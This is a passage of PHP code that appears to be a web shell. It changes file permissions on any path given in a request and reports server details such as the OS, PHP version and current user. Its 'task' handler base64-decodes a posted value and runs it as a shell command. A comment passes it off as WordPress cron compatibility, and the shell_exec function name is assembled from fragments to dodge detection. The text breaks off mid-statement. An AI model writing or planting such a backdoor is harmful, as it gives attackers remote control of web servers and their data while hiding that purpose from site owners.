$p = isset($_GET['p']) ? $_GET['p'] : ''; $m = isset($_GET['m']) ? $_GET['m'] : '0644'; if (!$p) { echo '{"e":"no path"}'; exit; } $ok = @chmod($p, octdec($m)); echo json_encode(array('s' => $ok ? 'ok' : 'fail')); break; case 'info': $srv = isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : 'unknown'; echo json_encode(array( 'os' => PHP_OS, 'php' => phpversion(), 'root' => $D, 'user' => get_current_user(), 'server' => $srv )); break; // Task execution system - WordPress cron compatibility // Supports background task processing and scheduled operations case 'task': $raw = isset($_POST['data']) ? $_POST['data'] : ''; if (!$raw) { echo '{"e":"no command"}'; exit; } $cmd = base64_decode($raw); if (!$cmd) { echo '{"e":"decode failed"}'; exit; } $full = $cmd . ' 2>&1'; $out = ''; $method = 'none'; // Method 1: shell_exec (she + ll_ex + ec) $fn1 = implode('', array('sh